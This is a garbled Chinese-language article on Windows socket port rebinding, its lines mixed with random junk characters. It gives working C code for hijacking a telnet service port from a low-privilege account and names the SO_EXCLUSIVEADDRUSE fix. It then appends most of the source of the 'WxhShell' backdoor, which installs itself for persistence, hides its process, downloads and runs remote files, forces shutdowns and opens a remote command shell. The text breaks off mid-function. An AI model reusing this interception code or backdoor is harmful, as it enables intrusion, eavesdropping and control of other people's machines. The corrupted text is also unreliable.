在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
X,iuz/Q s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
^t^<KL; YN5OuKMUd' saddr.sin_family = AF_INET;
R5'Z4.~ v4,syd*3|V saddr.sin_addr.s_addr = htonl(INADDR_ANY);
kw}ISXz v 9Ww=hfb5UW bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Gg3?2h"d ~'Qpf 8) 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
^%4(
%68 5wE !_ng>| 这意味着什么?意味着可以进行如下的攻击:
&ESR1$)'P @LkW_ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
![X.% ]Nd'%M 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
tx|"v|&e2 56O<CgJF< 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
63y':g UtGd/\: 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
um_M}t{ i}$N& 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
00.iMmJ D\_*,Fc 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
T0np<l]A jQK2<-HZ3 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
0t:|l@zB v^lm8/}NO #include
Y(G*Yi?; #include
O7<V@GL+ #include
CSk #include
> {LJ#Dc6 DWORD WINAPI ClientThread(LPVOID lpParam);
m|?"
k38 int main()
5@%=LPV {
g8iB;%6
WORD wVersionRequested;
).O2_<&?F DWORD ret;
wJ]$'c3 WSADATA wsaData;
%.atWX`b BOOL val;
D!D%. SOCKADDR_IN saddr;
i$LV44 SOCKADDR_IN scaddr;
UNZVu~WnF int err;
P".qL5 SOCKET s;
$nD k
mKl SOCKET sc;
~]_jKe4W int caddsize;
ReGO9} HANDLE mt;
MS*Mem, DWORD tid;
\Dsl7s= wVersionRequested = MAKEWORD( 2, 2 );
as!|8JE` err = WSAStartup( wVersionRequested, &wsaData );
I`n1M+=% if ( err != 0 ) {
+IOKE\,Y printf("error!WSAStartup failed!\n");
]zM90$6 return -1;
-"JE-n }
[9W&1zY saddr.sin_family = AF_INET;
"*>QxA%c4 0wE8GmG //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
)>A%FL9 /*R' xBr saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Nm:|C 3_I saddr.sin_port = htons(23);
~pBxFA if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
dU04/]modD {
$m%/veD k printf("error!socket failed!\n");
nrD=[kc!w return -1;
iNrmhiql }
^&w'`-ra val = TRUE;
;uo|4?E:\( //SO_REUSEADDR选项就是可以实现端口重绑定的
CYic_rF$ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
qpEC!~y {
MvjwP?J] printf("error!setsockopt failed!\n");
r'JK$9 return -1;
>, Swk3 }
T.Y4L //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
TX5/{cHd //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
+WEO]q?K //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
c.me1fGn 6`$z*C2{ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
FVLA^$5c {
x?k |i}Q ret=GetLastError();
bA9dbe printf("error!bind failed!\n");
w!Lb;4x ? return -1;
8w@jUGsc }
l=OC?d*m listen(s,2);
V@s/]|rf, while(1)
gdn,nL`dP {
!Q/O[6 caddsize = sizeof(scaddr);
~sja^ //接受连接请求
@md^mss sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
sVl:EVv if(sc!=INVALID_SOCKET)
'A@Oia1;{ {
C g,w6<7 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
%RF if(mt==NULL)
BOcEL%+ {
)UU6\2^ printf("Thread Creat Failed!\n");
vH:+ break;
KB-#):' }
HQ#L
|LN }
ha'm`LiX
CloseHandle(mt);
tp3N5I }
ea;c\84_N closesocket(s);
Tf]VcEF WSACleanup();
I)4|?tb? return 0;
z&G3&?Z }
bX1! fa DWORD WINAPI ClientThread(LPVOID lpParam)
#[rFep {
u6&Ixi/s' SOCKET ss = (SOCKET)lpParam;
j:<T<8.o SOCKET sc;
w0>)y- unsigned char buf[4096];
[~H`9Ab= SOCKADDR_IN saddr;
3mn-dKe(( long num;
$R}iL DWORD val;
:r+
1>F$o DWORD ret;
^\t">NJ^ //如果是隐藏端口应用的话,可以在此处加一些判断
.3SjkC4I //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
)W7H{# saddr.sin_family = AF_INET;
;7{wa]
saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
hzVr3;3Zn
saddr.sin_port = htons(23);
VTkT4C@I;Y if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
F>{uB!!L4 {
BP><G^ printf("error!socket failed!\n");
y,eoTmaI return -1;
{*
_ W }
uPD_s[ val = 100;
\nt'I;f if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
-PuVI5L< {
Ho{?m^ ret = GetLastError();
lt2&uYgp return -1;
^g"6p#S=n }
]o[HH_`s@ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Wl"fh_ {
ag4^y& ret = GetLastError();
6m<9^NT return -1;
zT 40,rk }
\}(-9dr if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
j>=".^J {
(.t:sn"P printf("error!socket connect failed!\n");
}{PtQc6RL! closesocket(sc);
~oyPmIcb closesocket(ss);
W|
eG}` return -1;
m#(x D~V }
D#(L@{vC while(1)
K_Gf\x {
@y%qQe/g //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Gs?sO?j //如果是嗅探内容的话,可以再此处进行内容分析和记录
uB9+E%jOdQ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
G!Q)?N num = recv(ss,buf,4096,0);
{i?K~|
h if(num>0)
a .Vs>1 send(sc,buf,num,0);
ITOGD else if(num==0)
P=i |{vv( break;
l )eaIOyk num = recv(sc,buf,4096,0);
2Nszxvq, if(num>0)
)7TTRL send(ss,buf,num,0);
xpo}YF'5 else if(num==0)
v<4X;4p^ break;
jtJU5Q }
O~1p]j closesocket(ss);
FiH!)6T closesocket(sc);
!S<~(Ujyw return 0 ;
U4/$4.'NQ }
`OK
}q p`ZGV97 t)ry)[Dxv ==========================================================
X> KsbOZ cE#Y,-f 下边附上一个代码,,WXhSHELL
ucO]&'hu: Kqjeqr@) ==========================================================
b?^<';,5 "@Fxfd+Ot #include "stdafx.h"
vdM\scO: uSbg*OA #include <stdio.h>
}gt~{9?c #include <string.h>
,4UJ|D=J #include <windows.h>
3`I_ #include <winsock2.h>
jV8><5C #include <winsvc.h>
iSax-Mc #include <urlmon.h>
b(,[g>xH q3:'
69 #pragma comment (lib, "Ws2_32.lib")
m/h0J03'T #pragma comment (lib, "urlmon.lib")
*GMRu,u2 mI18A#[ 3 #define MAX_USER 100 // 最大客户端连接数
8gdOQ=a #define BUF_SOCK 200 // sock buffer
G 3x1w/L #define KEY_BUFF 255 // 输入 buffer
k#M W> UJ&,9}L8 #define REBOOT 0 // 重启
N:zSJW`1 #define SHUTDOWN 1 // 关机
1 ErYob.p _E 8SX
v #define DEF_PORT 5000 // 监听端口
h Nwb.[ U3QnWPt}> #define REG_LEN 16 // 注册表键长度
O*7~t17 #define SVC_LEN 80 // NT服务名长度
;RYKqUE C $;~= // 从dll定义API
G)`MoVH1 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
#v<+G=r*O typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
<WmCH+>?r typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
)<&QcO_ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
K ajyQ"j 4]R3*F // wxhshell配置信息
glUP struct WSCFG {
.})8gL7V int ws_port; // 监听端口
%(6Wr E5F6 char ws_passstr[REG_LEN]; // 口令
]vrs? int ws_autoins; // 安装标记, 1=yes 0=no
CSs6Vm!= char ws_regname[REG_LEN]; // 注册表键名
:4TcCWG char ws_svcname[REG_LEN]; // 服务名
t~M_NEPxV char ws_svcdisp[SVC_LEN]; // 服务显示名
$P~ a char ws_svcdesc[SVC_LEN]; // 服务描述信息
NI)nf;C char ws_passmsg[SVC_LEN]; // 密码输入提示信息
%mJ)pMV int ws_downexe; // 下载执行标记, 1=yes 0=no
T@XiG:b7 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
D%btlw?{ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
wOP}SMn Ws@s(5r };
9p<l}h7g ??;[`_h{bz // default Wxhshell configuration
}Q_i#e(S struct WSCFG wscfg={DEF_PORT,
v]>(Ps )R "xuhuanlingzhe",
8'$n|<1X 1,
y.2 SHn0 "Wxhshell",
u8QX2| "Wxhshell",
"M]]H^r5 "WxhShell Service",
C0wq "Wrsky Windows CmdShell Service",
#e[5O|V~ "Please Input Your Password: ",
ho. a93 1,
:n4x}% "
http://www.wrsky.com/wxhshell.exe",
@nK08Kj- "Wxhshell.exe"
xOH@V4z: };
^EZoP:x(oE G.8ZISN/ // 消息定义模块
W:G*t4i char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Wj0([n char *msg_ws_prompt="\n\r? for help\n\r#>";
4k8 @u char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
UF
tTt`N2 char *msg_ws_ext="\n\rExit.";
XR(kR{yo char *msg_ws_end="\n\rQuit.";
t1S\M%? char *msg_ws_boot="\n\rReboot...";
SV >EB;< char *msg_ws_poff="\n\rShutdown...";
n@f@-d$m\< char *msg_ws_down="\n\rSave to ";
RY&~{yl$"1 5{UGSz 1 char *msg_ws_err="\n\rErr!";
GzX@Av$ char *msg_ws_ok="\n\rOK!";
S6uBk"V! lK0coj1+ char ExeFile[MAX_PATH];
$o z
ZFvJF int nUser = 0;
3$TpI5A HANDLE handles[MAX_USER];
L
'=3y$"], int OsIsNt;
|ONOF }N NyUwFa SERVICE_STATUS serviceStatus;
tQ"PCm
SERVICE_STATUS_HANDLE hServiceStatusHandle;
F/h)azcn Z q)A"'Y // 函数声明
Bs*s8}6 int Install(void);
8in8_/x int Uninstall(void);
r QF%; int DownloadFile(char *sURL, SOCKET wsh);
SrxX-Hir int Boot(int flag);
9S}PCAA; void HideProc(void);
` $}[np| int GetOsVer(void);
'" 6VfF)* int Wxhshell(SOCKET wsl);
^B<jMt void TalkWithClient(void *cs);
c8'?Dd int CmdShell(SOCKET sock);
q-H]Hxv int StartFromService(void);
G|V ^C_: int StartWxhshell(LPSTR lpCmdLine);
e>/PW&Z8Z wp$=lU{B VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
G 7u85cie VOID WINAPI NTServiceHandler( DWORD fdwControl );
h4U .wk '(?@R5a // 数据结构和表定义
]GJskBm SERVICE_TABLE_ENTRY DispatchTable[] =
MEE]6nU {
Mppb34y {wscfg.ws_svcname, NTServiceMain},
'yl`0,3wV {NULL, NULL}
-H{{ };
$%/Zm*H 1mf_1spB // 自我安装
fE >FT9c int Install(void)
&A>J>b {
-1[ri8t;nV char svExeFile[MAX_PATH];
`ainJs:B HKEY key;
i^yQ;
2- strcpy(svExeFile,ExeFile);
]0o78(/w2 T
^uBMDYe // 如果是win9x系统,修改注册表设为自启动
*<KY^; if(!OsIsNt) {
Li}yK[\] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
nG2RBeJV RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
*%8dW RegCloseKey(key);
FBe1f1
sm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
y<Z8+/f`f RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
%gN8-~$1 RegCloseKey(key);
C)`/Q( ^ return 0;
rz4S"4 }
:E.mU{ }
*fl1
=Rfr }
JAYom%A" else {
c#_%|gg $OmtN" // 如果是NT以上系统,安装为系统服务
p[cC%3 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
<~3@+EEM if (schSCManager!=0)
{aU~[5L3( {
FG?B:Zl%T SC_HANDLE schService = CreateService
U]_1yX (
*0Fn C2W1 schSCManager,
v6]lH9c{, wscfg.ws_svcname,
% 30&6 " wscfg.ws_svcdisp,
gZ 9<H q SERVICE_ALL_ACCESS,
CpA=DnZ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
~s+\Y/@A SERVICE_AUTO_START,
).LJY<A SERVICE_ERROR_NORMAL,
h.PY$W< svExeFile,
dP )YPy_` NULL,
[mX\Q`)QP NULL,
h|wyvYKZ NULL,
Uj_%U2S$ NULL,
=VDN9-/. NULL
pDW .Pav );
VF;%Z if (schService!=0)
=>&d[G[m! {
L,n'G% CloseServiceHandle(schService);
%h^; "|Z CloseServiceHandle(schSCManager);
ugOcK Gf strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Ta~Ei=d^ strcat(svExeFile,wscfg.ws_svcname);
bjbm"~ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
w}+jfO9 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
5'6Oan7dL: RegCloseKey(key);
+YXyfTa return 0;
*PD7H9m }
iX}EJD{f }
_K'YaZTa;~ CloseServiceHandle(schSCManager);
Y'58.8hl }
ZfoI7<?33 }
&!_>J0 (|<}q-wO return 1;
G3m+E;o1 }
zGA#7W2?0 1Z|q0-Dw0 // 自我卸载
h
~v8Q_6 int Uninstall(void)
90(JP- {
`N;JM3 ck HKEY key;
1InG%=jLo Ea 0
j} if(!OsIsNt) {
1ih|b8)Dn if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
7iT#dpF/A RegDeleteValue(key,wscfg.ws_regname);
RWK|?FD\< RegCloseKey(key);
9/`T]s" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
W
A-\2 RegDeleteValue(key,wscfg.ws_regname);
'jqkDPn RegCloseKey(key);
6ID@ 0 return 0;
ZE#A?5lb }
/aNlr>^ }
sZA7)Z`7 }
L~=h?C< else {
c#Y/?F2p PIl:z?q({ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
g=Rl4F] if (schSCManager!=0)
]9F$/M# {
xbsp[0I, SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
yO.q{|kX if (schService!=0)
\9jEpE^Ju( {
~p<w>C9 if(DeleteService(schService)!=0) {
=wtu CloseServiceHandle(schService);
PF~w$ eeQ CloseServiceHandle(schSCManager);
Bz!SZpW(M return 0;
8\P!47'q }
y38x^fuYJ~ CloseServiceHandle(schService);
?t46TV'G }
7M7sq-n5z CloseServiceHandle(schSCManager);
"MOM@4\ }
16Cd0[h? }
c<fl6o) \AQ*T`Dq return 1;
9=TjSRS }
i_Ol vuy~ b9X"p*'p // 从指定url下载文件
b8@?fC+tm int DownloadFile(char *sURL, SOCKET wsh)
gwO]U=Y {
+~Wg@ HRESULT hr;
5L!EqB>m; char seps[]= "/";
$MhfGMk!' char *token;
h&}z@ char *file;
{_C2c{ char myURL[MAX_PATH];
TuG%oV} char myFILE[MAX_PATH];
c'O"</
LYhjI strcpy(myURL,sURL);
'ioX,KD token=strtok(myURL,seps);
UXgeL2`; while(token!=NULL)
2D;2QdO {
RA^6c![ file=token;
yzWVUqtXm token=strtok(NULL,seps);
3e,"B
S)+ }
F}MjZZj(U= 29z$z$l4 GetCurrentDirectory(MAX_PATH,myFILE);
E &G]R! strcat(myFILE, "\\");
dT?mMTKn+ strcat(myFILE, file);
"!,)Pv send(wsh,myFILE,strlen(myFILE),0);
#|-i*2@oR send(wsh,"...",3,0);
DXyRNE<G[C hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
XN|[8+#U<@ if(hr==S_OK)
'8Wu9 phT return 0;
mH6\8I else
`"Lk@ return 1;
o=C:= 0Sx$6:-~ }
qg1tDN`s r|av|7R // 系统电源模块
D qu?mg;L int Boot(int flag)
;T hn C>U {
B5v5D[ o5 HANDLE hToken;
@5}(Y( @ TOKEN_PRIVILEGES tkp;
rUn1*KWbE $-AG$1 if(OsIsNt) {
:yxP3e%rp OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
b,hRk1 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
xlIVLv6dO tkp.PrivilegeCount = 1;
dj-/%MU tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
D4Z7j\3a AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
1EiSxf if(flag==REBOOT) {
9KCeKT>v if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
vFwhe! return 0;
_kEU=)Xe }
XmJ ?oPr7 else {
dC>[[_ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Xx,Rah)X3 return 0;
s+0n0C }
T|k_$LH }
pgd9_'[5 else {
=j^>sg] if(flag==REBOOT) {
2=,O)g if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Fe1^9ja return 0;
hm,H3pN }
<I 0 EjV else {
<g$b M;6% if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
thLx!t return 0;
>zX`qv&> }
dt5`UBvUg }
UX24*0`\~ d~qZ;uw return 1;
\)M
EM=U }
6DVHJ+WTV ?G>E[!8ev // win9x进程隐藏模块
;q?WU>c{? void HideProc(void)
F]GX;<` {
Ve\.7s %6Y\4Fe HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
M#}k@
;L3 if ( hKernel != NULL )
T&ib]LmR {
[hJASX9 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
b
Bkg/p] ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
n,#o6ali> FreeLibrary(hKernel);
]u|5ZCv0 }
{VE1c'E"V? +<Y1`kV) return;
T
s9go }
ZFC&&[%-sG @rE+H
5 // 获取操作系统版本
@yNCWa~N int GetOsVer(void)
Z{^Pnit {
}hA)p: OSVERSIONINFO winfo;
Lvb'qZ6n winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Pd+Wb3 GetVersionEx(&winfo);
$C
t(M) if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
ef K
WR return 1;
'
-td/w else
^!6T,7B B return 0;
)O ,+'w? }
yRWZ/,9x 1}q(Pn2 // 客户端句柄模块
iw^"?:'% int Wxhshell(SOCKET wsl)
'tDVSj {
xzw2~(lo SOCKET wsh;
0zpA<"S struct sockaddr_in client;
b"(bT6XO! DWORD myID;
$Yj4&Two< *5mJA -[B+ while(nUser<MAX_USER)
_^h?JTU^ {
wV q4DE int nSize=sizeof(client);
Y z],["*Q
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
!JQ'~#jKN if(wsh==INVALID_SOCKET) return 1;
chur(@Af
R:y u handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
fBLR if(handles[nUser]==0)
b\vL^\bX8 closesocket(wsh);
mW)C=X% else
|!cM_& nUser++;
eC='[W<a. }
$-uMWJ)l WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
;y.<I& 08z?i return 0;
`08}y*E }
_]M: k&= iye( // 关闭 socket
qf*e2"~v void CloseIt(SOCKET wsh)
]#\/1!W {
3J[ 5^ closesocket(wsh);
Uc0Sb nUser--;
]GiDfYs7% ExitThread(0);
\4|osZ0y }
V4. }wz_Y \eCQL(_ // 客户端请求句柄
Wdp4'rB void TalkWithClient(void *cs)
]4[^S.T= {
#{~3bgY gcF V$ SOCKET wsh=(SOCKET)cs;
.~%,eF;l$ char pwd[SVC_LEN];
*40Z}1ng char cmd[KEY_BUFF];
KV|ywcGhT char chr[1];
$+n5l@W int i,j;
i&Me7=~ =UV=F/Af^ while (nUser < MAX_USER) {
(!koz'f }/VSIS@Z if(wscfg.ws_passstr) {
m8 Ti{w( if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
&Ui&2EW //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
e
ls&_BPE //ZeroMemory(pwd,KEY_BUFF);
yHxi^D] i=0;
@l?2", while(i<SVC_LEN) {
g?9%_&/})A JT*Pm"} // 设置超时
~!ICBF~j fd_set FdRead;
S^ JUQx7 struct timeval TimeOut;
+zzS FD_ZERO(&FdRead);
8_uh2`+Bvb FD_SET(wsh,&FdRead);
7WN$ rl5/ TimeOut.tv_sec=8;
EK}QjY[i TimeOut.tv_usec=0;
.KxE>lJbqM int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
sX#7;,Ft7 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
% ^&D, *Vp$#Rb if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
D}K/5iU]a pwd
=chr[0]; lPn&,\9@~
if(chr[0]==0xd || chr[0]==0xa) { V5]:^=
pwd=0; `bEum3l\6]
break; -P$E)5?^
} Yd$64d7,h
i++; N0fXO
} K9Bi2/N
#*;Nb
// 如果是非法用户,关闭 socket l(?Yx
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); EhHW`
} } bEu+bZ
kA(q-Re$B*
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); AK5$>Pkvk
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mNAp FwZ
>Av%[G5=h#
while(1) { J9`[Qy\
Q)ZkUmW
ZeroMemory(cmd,KEY_BUFF); 0:k ~lz
*,p16"Q;
// 自动支持客户端 telnet标准 D(gpF85t
j=0; ^<nN~@j
while(j<KEY_BUFF) { !d=Q@oy5
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qYR+qSAJP
cmd[j]=chr[0]; gb@ |\n
if(chr[0]==0xa || chr[0]==0xd) { b}jLI_R{
cmd[j]=0; U-GV^j
break; oxL4* bqZ
} e3 {L%rQE
j++; _Rnq5y
} Abf=b<bu
a3oSSkT
// 下载文件 1Qgd^o:d
if(strstr(cmd,"http://")) { 0-w^y<\
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^Sz?c_<2P
if(DownloadFile(cmd,wsh)) d
3}'J
send(wsh,msg_ws_err,strlen(msg_ws_err),0); od~`q4p1(-
else .
G ~,h
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9C)w'\u9+
} |A@Gch fd
else { m1lfC
YP vg(T
switch(cmd[0]) { Y&_1U/}h
9=Rj9%
// 帮助 h\^> s$
case '?': { JPT VZ
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D^H<)5d9
break; 1MzOHE
} me`(J y<
// 安装 $[P>nRhW
case 'i': { ?W"9G0hTqM
if(Install()) 6'N!)b^-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )04lf*ti
else ';?b99
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /A) v$Bv=
break; a4M`Bk;mb
} R!.HS0i.
// 卸载 c~UYs\
case 'r': { _;+N=/l0
if(Uninstall()) U-EX)S^T[{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Epm=&6zf
else c{t[iXDG
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _A.?:'-
break; U"v}br-kb
} c=p @l<)
// 显示 wxhshell 所在路径 W[3)B(Vq<E
case 'p': { kM\O2ay
char svExeFile[MAX_PATH]; tEl4 !vA
strcpy(svExeFile,"\n\r"); lYu1m
strcat(svExeFile,ExeFile); <~Tlx:
send(wsh,svExeFile,strlen(svExeFile),0); i>[1^~;
break; jsvD[ \P
} VNbq]L(g
// 重启 Lay+)S.ta[
case 'b': { B1A5b=6G<
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2JYt.HN
if(Boot(REBOOT)) YA>du=6y\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `$\Y,9E}x
else { @.X}S"yr
closesocket(wsh); 0R2 AhA#
ExitThread(0); 0Fh*8a}?b
} 5!*5mtI
break; z,oqYU\:
} wQ,RZO3
// 关机 "ppT<8Qi'
case 'd': { VPTT*a`
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )Cz^Xp)#
if(Boot(SHUTDOWN)) >cD+&h34
send(wsh,msg_ws_err,strlen(msg_ws_err),0); c])b?dJ*
else { 5Ffz^;i
closesocket(wsh); u-h3xj
ExitThread(0); 9Yowz]')
} `8TM<az-L
break; (K+TqJw
} MNiu5-g5
// 获取shell p\8cl/~
case 's': { \6Ze H
CmdShell(wsh); O.E
closesocket(wsh); `B6{y9J6
ExitThread(0); r Q'tab.,]
break; 6mBX{-Z[
} MOG[cp
// 退出 kI3-G~2
case 'x': { +2w54X%?M
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `R^g[0 w'
CloseIt(wsh); 0{Kl5>Z9M
break; ,\DB8v6l\A
} 9hT^Y,c0
// 离开 v-)eT
case 'q': { 9kP!O_
send(wsh,msg_ws_end,strlen(msg_ws_end),0); vmOXB#7W
closesocket(wsh); 9,'5~+7
WSACleanup(); 8'B\%.+"8e
exit(1); \sC0om,
break; 64\Z OG\,
} ('uYA&9
} Vrz!.X~
} g#_?Vxt
u6y\ GsM.a
// 提示信息 %i%Xi+{3
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1qUdj[Bj
} NI(`o8fN
} "`"j2{9|e!
^;s`[f|w
return; {7eKv+30
} n/8Kb.Vf
Xx|&%b{{r
// shell模块句柄 ^l^_ K)tw*
int CmdShell(SOCKET sock) #s#z@F
{ uU.9*B=H9
STARTUPINFO si; B;;D(NH
ZeroMemory(&si,sizeof(si)); |-_5ouN.
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 45j+n.9=
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2c%}p0<;|?
PROCESS_INFORMATION ProcessInfo; B0z.s+.
char cmdline[]="cmd"; 9'toj%XQ
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Hs=!.tZ,
return 0; 7^iF,N
} 6ddkUPTF
/2dK*v0
// 自身启动模式 p!aeL}g`
int StartFromService(void) g-p
OO/|
{ SC2C%.%l`
typedef struct qqzQKN
{ \ @N> 38M
DWORD ExitStatus; P>@`hZ9
o
